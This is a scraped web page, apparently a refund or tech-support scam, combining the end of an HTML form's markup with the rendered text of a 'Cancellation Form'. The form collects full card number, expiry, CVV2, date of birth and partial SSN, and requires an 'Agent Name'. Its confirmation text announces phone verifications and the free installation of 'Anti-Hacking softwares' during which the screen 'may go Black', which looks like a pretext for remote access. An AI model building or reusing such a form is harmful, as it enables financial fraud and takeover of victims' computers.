            <input type="hidden" data-sayt-exclude="" name="ipt_fsqm_form_8[freetype][4][m_type]" id="ipt_fsqm_form_8_freetype_4_m_type" value="freetype" class="ipt_fsqm_hf_m_type">
            <input type="hidden" data-sayt-exclude="" name="ipt_fsqm_form_8[freetype][4][type]" id="ipt_fsqm_form_8_freetype_4_type" value="feedback_small" class="ipt_fsqm_hf_type">
            <div class="ipt_uif_column ipt_uif_column_full ipt_uif_conditional ipt_fsqm_container_feedback_small" id="ipt_fsqm_form_8_freetype_4">
              <div class="ipt_uif_column_inner side_margin">
                <div class="ipt_uif_question">
                  <div class="ipt_uif_question_label">
                    <label class="ipt_uif_question_title ipt_uif_label" for="ipt_fsqm_form_8_freetype_4_value">Agent Name<span class="ipt_uif_question_required">*</span></label>
                    <div class="clear-both"></div>
                  </div>
                  <div class="ipt_uif_question_content">
                    <div class="input-field">
                      <input class=" check_me validate[required] ipt_uif_text" type="text" name="ipt_fsqm_form_8[freetype][4][value]" id="ipt_fsqm_form_8_freetype_4_value" maxlength="" value="">
                    </div>
                    <div class="clear-both"></div>
                  </div>
                </div>
                <div class="clear-both"></div>
              </div>
            </div>
            <input type="hidden" data-sayt-exclude="" name="ipt_fsqm_form_8[design][9][m_type]" id="ipt_fsqm_form_8_design_9_m_type" value="design" class="ipt_fsqm_hf_m_type">
            <input type="hidden" data-sayt-exclude="" name="ipt_fsqm_form_8[design][9][type]" id="ipt_fsqm_form_8_design_9_type" value="divider" class="ipt_fsqm_hf_type">
            <div class="ipt_uif_column ipt_uif_column_full ipt_uif_conditional ipt_fsqm_container_divider" id="ipt_fsqm_form_8_design_9">
              <div class="ipt_uif_column_inner">
                <div class="ipt_uif_divider ipt_uif_align_center ipt_uif_empty_divider ipt_uif_divider_no_icon ipt_uif_divider_no_text eform-just-divider"></div>
                <div class="clear-both"></div>
              </div>
            </div>
          </div>
          <div class="clear-both"></div>
        </div>
      </div>
      <div class="clear"></div>
      <div id="ipt_fsqm_form_8_button_container" class="ipt_fsqm_form_button_container ipt_fsqm_form_button_container--gradient eform-material-alternate-pb eform-material-rounded-pb ipt-eform-material-button-container">
        <div class="eform-button-container-inner">
          <button type="submit" class="ipt_uif_button eform-material-button eform-ripple ipt_fsqm_form_button_submit medium primary-button ui-button ui-corner-all ui-widget waves-effect waves-light" name="ipt_fsqm_form_8_button_submit"
            id="ipt_fsqm_form_8_button_submit"> Submit</button>
        </div>
      </div>
      <div class="clear-both"></div>
    </div>
  </div>
</form>

Text Content

Javascript is disabled

Javascript is disabled on your browser. Please enable it in order to use this
form.

Loading

 * 


CANCELLATION FORM



PERSONAL DETAILS


First Name



Last Name

Last Name


Full Address

Address line 1

Address line 2

City

State

Postal Code




Home Phone Number



Mobile Phone Number



Email Address



Date of Birth (MM/DD/YYYY)





REFUND DETAILS




Name on Card

Your name as appeared on Card


Type of Card

Credit Card
Debit Card
Prepaid Card



Select the Card

Master Card
Visa Card
Discover Card
American Express



Card Number



Expiration Date

(MM/YY)


CVV2 Number

Last 3 or 4 digit beside signature panel


SSN Number

Last 4 digit



Agent Name*






Submit



YOUR FORM HAS BEEN SUBMITTED







%NAME% your form successfully submitted to our server.

Note: There will be 3 or more phone verification to complete the Process.

Security softwares and Anti-Hacking softwares will be installed for free. During
this process your system may go Black.

After the Verification is Complete, Every Documents will be sent to Your
Registered E-mail.


THANK YOU





Server Side Error

We faced problems while connecting to the server or receiving data from the
server. Please wait for a few seconds and try again.

If the problem persists, then check your internet connectivity. If all other
sites open fine, then please contact the administrator of this website with the
following information.

TextStatus: undefined
HTTP Error: undefined

Processing your request

Error

Some error has occured.

Notifications